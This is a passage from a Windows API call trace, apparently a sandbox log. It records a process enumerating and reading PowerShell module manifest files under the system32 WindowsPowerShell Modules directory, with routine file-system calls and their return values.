lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x1d5 [0110.042] ReadFile (in: hFile=0x994, lpBuffer=0x56b8dd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56b8dd0*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0110.042] CloseHandle (hObject=0x994) returned 1 [0110.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0110.043] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0110.043] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0110.043] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1ac9e27, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e00b8 [0110.043] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1ac9e27, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.044] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d025724, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x1aca811, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8d025724, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0110.044] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x29c4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataAdapter.ps1", cAlternateFileName="")) returned 1 [0110.044] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils.psd1", cAlternateFileName="")) returned 1 [0110.044] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4f8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtils.psm1", cAlternateFileName="")) returned 1 [0110.044] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc9ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataUtilsHelper.ps1", cAlternateFileName="")) returned 1 [0110.044] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ae64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataV4Adapter.ps1", cAlternateFileName="")) returned 1 [0110.044] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ae64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.ODataV4Adapter.ps1", cAlternateFileName="")) returned 0 [0110.044] FindClose (in: hFindFile=0x76e00b8 | out: hFindFile=0x76e00b8) returned 1 [0110.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0110.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0110.045] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1")) returned 0x20 [0110.046] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0110.046] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x78, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", lpFilePart=0x0) returned 0x77 [0110.046] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0110.046] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x78, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", lpFilePart=0x0) returned 0x77 [0110.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0110.046] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1"), fInfoLevelId=0x0, lpFileInformation=0x56bf0ac | out: lpFileInformation=0x56bf0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe0e1de, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6196)) returned 1 [0110.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0110.046] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0110.046] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", nBufferLength=0x78, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1", lpFilePart=0x0) returned 0x77 [0110.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0110.046] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils\\Microsoft.PowerShell.ODataUtils.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils\\microsoft.powershell.odatautils.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x994 [0110.046] GetFileType (hFile=0x994) returned 0x1 [0110.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0110.046] GetFileType (hFile=0x994) returned 0x1 [0110.046] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0110.046] ReadFile (in: hFile=0x994, lpBuffer=0x56bff00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56bff00*, lpNumberOfBytesRead=0x843e6cc*=0x1000, lpOverlapped=0x0) returned 1 [0110.048] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x1000 [0110.048] ReadFile (in: hFile=0x994, lpBuffer=0x56bff00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56bff00*, lpNumberOfBytesRead=0x843e6cc*=0x1000, lpOverlapped=0x0) returned 1 [0110.048] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x2000 [0110.048] ReadFile (in: hFile=0x994, lpBuffer=0x56bff00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56bff00*, lpNumberOfBytesRead=0x843e6cc*=0x1000, lpOverlapped=0x0) returned 1 [0110.048] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x3000 [0110.048] ReadFile (in: hFile=0x994, lpBuffer=0x56bff00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56bff00*, lpNumberOfBytesRead=0x843e6cc*=0x1000, lpOverlapped=0x0) returned 1 [0110.049] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x4000 [0110.049] ReadFile (in: hFile=0x994, lpBuffer=0x56bff00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56bff00*, lpNumberOfBytesRead=0x843e6cc*=0x1000, lpOverlapped=0x0) returned 1 [0110.049] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x5000 [0110.049] ReadFile (in: hFile=0x994, lpBuffer=0x56bff00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56bff00*, lpNumberOfBytesRead=0x843e6cc*=0x1000, lpOverlapped=0x0) returned 1 [0110.049] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x6000 [0110.049] ReadFile (in: hFile=0x994, lpBuffer=0x56bff00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56bff00*, lpNumberOfBytesRead=0x843e6cc*=0x196, lpOverlapped=0x0) returned 1 [0110.049] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x6196 [0110.049] ReadFile (in: hFile=0x994, lpBuffer=0x56bff00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56bff00*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0110.049] CloseHandle (hObject=0x994) returned 1 [0110.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0110.052] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0110.052] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0110.052] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acae81, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e00b8 [0110.052] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acae81, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.052] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe34444, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe34444, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe34444, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security.psd1", cAlternateFileName="")) returned 1 [0110.053] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe34444, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe34444, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe34444, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Security.psd1", cAlternateFileName="")) returned 0 [0110.053] FindClose (in: hFindFile=0x76e00b8 | out: hFindFile=0x76e00b8) returned 1 [0110.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0110.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0110.053] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1")) returned 0x20 [0110.053] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0110.053] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0110.053] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0110.053] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0110.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e744) returned 1 [0110.053] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1"), fInfoLevelId=0x0, lpFileInformation=0x56e787c | out: lpFileInformation=0x56e787c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe34444, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe34444, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe34444, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0110.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e740) returned 1 [0110.053] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x74 [0110.053] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", nBufferLength=0x74, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1", lpFilePart=0x0) returned 0x73 [0110.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e664) returned 1 [0110.053] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security\\Microsoft.PowerShell.Security.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security\\microsoft.powershell.security.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x994 [0110.053] GetFileType (hFile=0x994) returned 0x1 [0110.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e660) returned 1 [0110.054] GetFileType (hFile=0x994) returned 0x1 [0110.054] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x0 [0110.054] ReadFile (in: hFile=0x994, lpBuffer=0x56e86c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56e86c8*, lpNumberOfBytesRead=0x843e6cc*=0x2f0, lpOverlapped=0x0) returned 1 [0110.055] SetFilePointer (in: hFile=0x994, lDistanceToMove=0, lpDistanceToMoveHigh=0x843e6a0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x843e6a0*=0) returned 0x2f0 [0110.055] ReadFile (in: hFile=0x994, lpBuffer=0x56e86c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x843e6cc, lpOverlapped=0x0 | out: lpBuffer=0x56e86c8*, lpNumberOfBytesRead=0x843e6cc*=0x0, lpOverlapped=0x0) returned 1 [0110.055] CloseHandle (hObject=0x994) returned 1 [0110.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0110.056] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0110.056] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0110.129] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acc005, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76e00b8 [0110.129] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18586290, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1acc005, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x20752c33, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0110.130] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe34444, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management.psd1", cAlternateFileName="")) returned 1 [0110.130] FindNextFileW (in: hFindFile=0x76e00b8, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fe0e1de, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fe0e1de, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fe34444, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WSMan.Management.psd1", cAlternateFileName="")) returned 0 [0110.130] FindClose (in: hFindFile=0x76e00b8 | out: hFindFile=0x76e00b8) returned 1 [0110.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0110.130] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0110.130] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management\\Microsoft.WSMan.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management\\microsoft.wsman.management.psd1")) returned 0x20 [0110.130] 